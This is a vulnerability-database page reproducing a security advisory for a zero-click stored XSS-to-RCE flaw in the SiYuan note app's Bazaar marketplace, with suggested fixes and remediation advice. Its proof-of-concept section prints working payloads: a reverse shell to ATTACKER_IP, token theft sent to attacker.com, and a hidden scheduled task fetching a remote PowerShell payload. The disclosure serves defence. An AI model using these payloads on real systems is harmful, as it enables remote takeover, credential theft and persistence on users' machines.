Node.js CVE-2026-33067
CRITICALSeverity by source
Sources disagree (Low–Critical)AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
vuln.today treats the vendor’s rating as authoritative. A higher third-party CVSS (e.g. CISA-ADP) is shown for transparency but does not drive the headline severity.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Lifecycle Timeline
3DescriptionGitHub Advisory
Stored XSS to RCE via Unsanitized Bazaar Package Metadata
Summary
SiYuan's Bazaar (community marketplace) renders package metadata fields (displayName, description) using template literals without HTML escaping. A malicious package author can inject arbitrary HTML/JavaScript into these fields, which executes automatically when any user browses the Bazaar page. Because SiYuan's Electron configuration enables nodeIntegration: true with contextIsolation: false, this XSS escalates directly to full Remote Code Execution on the victim's operating system - with zero user interaction beyond opening the marketplace tab.
Affected Component
- Metadata rendering:
app/src/config/bazaar.ts:275-277 - Electron config:
app/electron/main.js:422-426(nodeIntegration: true,contextIsolation: false)
Affected Versions
- SiYuan <= 3.5.9
Severity
Critical - CVSS 9.6 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
- CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)
Vulnerable Code
In app/src/config/bazaar.ts:275-277, package metadata is injected directly into HTML templates without escaping:
// Package name injected directly - NO escaping
${item.preferredName}${item.preferredName !== item.name
? ` <span class="ft__on-surface ft__smaller">${item.name}</span>` : ""}
// Package description - title attribute uses escapeAttr(), but text content does NOT
<div class="b3-card__desc" title="${escapeAttr(item.preferredDesc) || ""}">
${item.preferredDesc || ""} <!-- UNESCAPED HTML -->
</div>The inconsistency is notable: the title attribute is escaped via escapeAttr(), but the actual rendered text content is not - indicating the risk was partially recognized but incompletely mitigated.
The Electron renderer at app/electron/main.js:422-426 is configured with:
webPreferences: {
nodeIntegration: true,
contextIsolation: false,
// ...
}This means any JavaScript executing in the renderer process has direct access to Node.js APIs including require('child_process'), require('fs'), and require('os').
Proof of Concept
Step 1: Create a malicious plugin manifest
Create a GitHub repository with a valid SiYuan plugin structure. In plugin.json:
{
"name": "helpful-productivity-plugin",
"displayName": {
"default": "Helpful Plugin<img src=x onerror=\"require('child_process').exec('calc.exe')\">"
},
"description": {
"default": "Boost your productivity with smart templates"
},
"version": "1.0.0",
"author": "attacker",
"url": "https://github.com/attacker/helpful-productivity-plugin",
"minAppVersion": "2.0.0"
}Step 2: Submit to Bazaar
Submit the repository to the SiYuan Bazaar community marketplace via the standard contribution process (pull request to the bazaar index repository).
Step 3: Zero-click RCE
When any SiYuan desktop user navigates to Settings > Bazaar > Plugins, the package listing renders the malicious displayName. The <img src=x> tag fails to load, firing the onerror handler, which calls require('child_process').exec('calc.exe').
No click is required. The payload executes the moment the Bazaar page loads and the package card is rendered in the DOM.
Escalation: Reverse shell
{
"displayName": {
"default": "Helpful Plugin<img src=x onerror=\"require('child_process').exec('bash -c \\\"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\\\"')\">"
}
}Escalation: Data exfiltration (API token theft)
{
"displayName": {
"default": "<img src=x onerror=\"fetch('https://attacker.com/exfil?token='+require('fs').readFileSync(require('path').join(require('os').homedir(),'.config/siyuan/cookie.key'),'utf8'))\">"
}
}Escalation: Silent persistence (Windows)
{
"displayName": {
"default": "<img src=x onerror=\"require('child_process').exec('schtasks /create /tn SiYuanUpdate /tr \\\"powershell -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(\\\\\\\"https://attacker.com/payload.ps1\\\\\\\")\\\" /sc onlogon /rl highest /f')\">"
}
}Attack Scenario
- Attacker creates a legitimate-looking GitHub repository with a SiYuan plugin/theme/template.
- Attacker submits it to the SiYuan Bazaar via the standard community contribution process.
- The
plugin.jsonmanifest contains an XSS payload in thedisplayNameordescriptionfield. - When any SiYuan desktop user opens the Bazaar tab, the malicious package card renders the unescaped metadata.
- The injected
<img onerror>(or<svg onload>,<details ontoggle>, etc.) fires automatically. - JavaScript executes in the Electron renderer with full Node.js access (
nodeIntegration: true). - The attacker achieves arbitrary OS command execution - reverse shell, data exfiltration, persistence, ransomware, etc.
The user does not need to install, click, or interact with the malicious package in any way. Browsing the marketplace is sufficient.
Impact
- Full remote code execution on any SiYuan desktop user who browses the Bazaar
- Zero-click - payload fires on page load, no interaction required
- Supply-chain attack - targets the entire SiYuan user community via the official marketplace
- Can steal API tokens, session cookies, SSH keys, browser credentials, and arbitrary files
- Can install persistent backdoors, scheduled tasks, or ransomware
- Affects all platforms: Windows, macOS, Linux
Suggested Fix
1. Escape all package metadata in template rendering (bazaar.ts)
function escapeHtml(str: string): string {
return str.replace(/&/g, '&').replace(/</g, '<')
.replace(/>/g, '>').replace(/"/g, '"')
.replace(/'/g, ''');
}
// Apply to ALL user-controlled metadata before rendering
${escapeHtml(item.preferredName)}
<div class="b3-card__desc">${escapeHtml(item.preferredDesc || "")}</div>2. Server-side sanitization in the Bazaar index pipeline
Sanitize metadata fields at the Bazaar index build stage so malicious content never reaches clients:
func sanitizePackageDisplayStrings(pkg *Package) {
if pkg == nil {
return
}
for k, v := range pkg.DisplayName {
pkg.DisplayName[k] = html.EscapeString(v)
}
for k, v := range pkg.Description {
pkg.Description[k] = html.EscapeString(v)
}
}3. Long-term: Harden Electron configuration
webPreferences: {
nodeIntegration: false,
contextIsolation: true,
sandbox: true,
}AnalysisAI
SiYuan's Bazaar marketplace fails to sanitize package metadata (displayName, description) before rendering in the Electron desktop application, allowing stored XSS that escalates to arbitrary remote code execution. Any SiYuan user (versions ≤3.5.9) who browses the Bazaar will automatically execute attacker-controlled code with full OS-level privileges when a malicious package card renders-no installation or user interaction required. A functional proof-of-concept exists demonstrating command execution via img onerror handlers, and this vulnerability is actively tracked in GitHub's advisory database (GHSA-mvpm-v6q4-m2pf), making it a critical supply-chain risk to the SiYuan user community.
Technical ContextAI
SiYuan is a Go-based personal knowledge management desktop application distributed via electron-based UI (CPE: pkg:go/github.com_siyuan-note_siyuan_kernel). The Bazaar is a built-in community marketplace for plugins, themes, and templates. The vulnerability manifests in two layers: (1) CWE-79 Improper Neutralization of Input During Web Page Generation—the bazaar.ts template rendering at lines 275-277 injects package metadata directly into DOM using template literals without HTML escaping (e.g., ${item.preferredName}), while the title attribute is escaped via escapeAttr(), indicating partial awareness of the risk but incomplete implementation; (2) Insecure Electron configuration at electron/main.js:422-426 with nodeIntegration: true and contextIsolation: false, which exposes the entire Node.js API surface (child_process, fs, os, net) to the renderer process, converting browser-based XSS into direct operating-system command execution. This is a classic example of misconfigured Electron security boundaries undermining application sandboxing.
RemediationAI
Users should immediately upgrade to SiYuan version 3.5.10 or later, which implements HTML escaping for all package metadata fields (displayName, description) in the Bazaar rendering pipeline and preferably hardens the Electron configuration by setting nodeIntegration: false, contextIsolation: true, and sandbox: true. Verify the fix in the release notes at https://github.com/siyuan-note/siyuan/releases. Until patching is possible, administrators can temporarily mitigate by revoking SiYuan's internet access at the firewall level or disabling the Bazaar feature entirely via configuration. The fix requires both client-side escaping (convert all user-controlled metadata to plain text before DOM injection) and server-side sanitization in the Bazaar index build pipeline (HTML-escape all displayName and description fields before serving to clients). Long-term, the SiYuan maintainers should audit all template rendering paths for similar XSS risks and adopt a Content Security Policy (CSP) with script-src 'none' in the preload script.
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Eval injection vulnerability in index.js in the syntax-error package before 1.1.1 for Node.js 0.10.x, as used in IBM Rat
The HTTP server in Node.js 0.10.x before 0.10.21 and 0.8.x before 0.8.26 allows remote attackers to cause a denial of se
Same weakness CWE-79 – Cross-site Scripting (XSS)
View allSame technique Command Injection
View allVendor StatusVendor
SUSE
Severity: Low| Product | Status |
|---|---|
| openSUSE Leap 15.6 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Fixed |
| openSUSE Leap 15.5 | Fixed |
Share
External POC / Exploit Code
Leaving vuln.today
GHSA-mvpm-v6q4-m2pf